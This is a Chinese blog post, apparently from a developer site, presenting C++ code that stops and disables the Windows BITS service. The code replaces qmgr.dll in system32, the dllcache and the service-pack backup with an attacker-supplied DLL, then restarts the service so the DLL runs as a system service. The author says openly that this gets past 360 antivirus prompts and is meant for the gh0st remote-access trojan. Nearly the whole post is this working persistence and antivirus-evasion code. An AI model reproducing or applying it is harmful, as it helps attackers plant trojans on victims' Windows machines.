替换BITS系统服务代码

PS:这个方法用来过360服务提示是很不错的,放到gh0st里去,再把代码 改下就好了 ^_^

创建了一个类,提供三接口,一个用来启动服务,一个用来停止服务,一个用来调整启动方式滴

 

   1. class CService
   2. {
   3. public:
   4. BOOL SetStartType(DWORD dwOp);
   5. void StopService();
   6. void StartService();
   7. CService(char* szSerName);
   8. virtual ~CService();
   9.

  10. private:
  11. BOOL CloseHandle();
  12. BOOL EnablePriv();
  13. BOOL OpenHandle();
  14. SC_HANDLE m_ser;
  15. SC_HANDLE m_scm;
  16. char m_szSerName[256];
  17. };
  18.

  19. 实现部分的代码
  20.

  21. CService::CService(char *szSerName)
  22. {
  23. memset(m_szSerName,0,256);
  24. strcpy(m_szSerName,szSerName);
  25. }
  26.

  27. CService::~CService()
  28. {
  29.

  30. }
  31.

  32. BOOL CService::OpenHandle()
  33. {
  34. BOOL stat=EnablePriv();
  35. if(!stat)
  36.    return FALSE;
  37. m_scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);
  38. if(m_scm==NULL)
  39. {
  40.    return FALSE;
  41. }
  42. m_ser=OpenService(m_scm,m_szSerName,SERVICE_ALL_ACCESS);
  43. if(m_ser==NULL)
  44. {
  45.    return FALSE;
  46. }
  47. else
  48.    return TRUE;
  49. }
  50.

  51. BOOL CService::EnablePriv()
  52. {
  53. HANDLE hToken;
  54. BOOL stat;
  55. stat=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
  56. if(stat==FALSE)
  57.    return FALSE;
  58.

  59. TOKEN_PRIVILEGES tkp;
  60.

  61. stat=LookupPrivilegeValue( NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid );//修改进程权限
  62. if(stat==FALSE)
  63.    return FALSE;
  64. tkp.PrivilegeCount=1;
  65. tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  66. stat=AdjustTokenPrivileges( hToken,FALSE,&tkp,sizeof tkp,NULL,NULL );//通知系统修改进程权限
  67.

  68. return stat;
  69. }
  70.

  71. BOOL CService::CloseHandle()
  72. {
  73. return (CloseServiceHandle(m_scm)&&CloseServiceHandle(m_ser));
  74. }
  75.

  76. void CService::StartService()
  77. {
  78. EnablePriv();
  79. OpenHandle();
  80. ::StartService(m_ser,NULL,NULL);
  81. CloseHandle();
  82. }
  83.

  84. void CService::StopService()
  85. {
  86. EnablePriv();
  87. OpenHandle();
  88. SERVICE_STATUS stat;
  89. ControlService(m_ser,SERVICE_CONTROL_STOP,&stat);
  90. CloseHandle();
  91. }
  92.

  93. BOOL CService::SetStartType(DWORD dwOp)//SERVICE_AUTO_START SERVICE_BOOT_START SERVICE_DEMAND_START SERVICE_DISABLED SERVICE_SYSTEM_START
  94. {
  95. OpenHandle();
  96.     SC_LOCK sclLock=LockServiceDatabase(m_scm);
  97. BOOL stat=ChangeServiceConfig(
  98.    m_ser,
  99.    SERVICE_NO_CHANGE,
 100.    dwOp,
 101.    SERVICE_NO_CHANGE,
 102.    NULL,
 103.    NULL,
 104.    NULL,
 105.    NULL,
 106.    NULL,
 107.    NULL,
 108.    NULL);
 109. UnlockServiceDatabase(sclLock);
 110. CloseHandle();
 111. return stat;
 112. }
 113.

 114.


 115. 替换程序相关的代码
 116.

 117. void ReplaceService(char *szFilePath)//szFilePath是我们自己的DLL文件的位置
 118. {
 119. char temp[256]={0};
 120. GetWindowsDirectory(temp,256);
 121. char szPackPath[256]={0};
 122. strcpy(szPackPath,temp);
 123. strcat(szPackPath,"//ServicePackFiles//i386//qmgr.dll");//这个东东貌似是XP sp3下才存在,开始的时候没注意,一直没替换成功,系统自动还原了,瘦了一下,发现这个地方还有一备份文件。替换了就好了
 124. char szCachePath[256]={0};
 125. strcpy(szCachePath,temp);
 126. strcat(szCachePath,"//system32//dllcache//qmgr.dll");
 127. char szSystemPath[256]={0};
 128. strcpy(szSystemPath,temp);
 129. strcat(szSystemPath,"//system32//qmgr.dll");
 130.

 131. strcat(temp,"//qmgr.cfei");
 132.

 133. MoveFileEx(szCachePath,temp,MOVEFILE_REPLACE_EXISTING);
 134. MoveFileEx(szPackPath,temp,MOVEFILE_REPLACE_EXISTING);
 135. MoveFileEx(szSystemPath,temp,MOVEFILE_REPLACE_EXISTING);
 136. CopyFile(szFilePath,szCachePath,0);
 137. CopyFile(szFilePath,szPackPath,0);
 138. CopyFile(szFilePath,szSystemPath,0);
 139. }
 140.

 141.


 142. 调用部分的代码
 143.

 144. CService ser("bits");
 145. ser.SetStartType(SERVICE_DISABLED);
 146. ser.StopService();
 147.    ReplaceService("c://ser.dll");//这里假设我们的文件释放的位置是c:/ser.dll
 148. ser.SetStartType(SERVICE_AUTO_START);
 149. ser.StartService();

 

当BITS才开始就是启动状态时,系统重新启动后才可以正常工作,如果BITS服务才开始就是停止或者禁用状态,则可以直接工作

服务部分相关的代码都从冷风那抄的咯,只是整理成一个类了,调用方便些而已

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值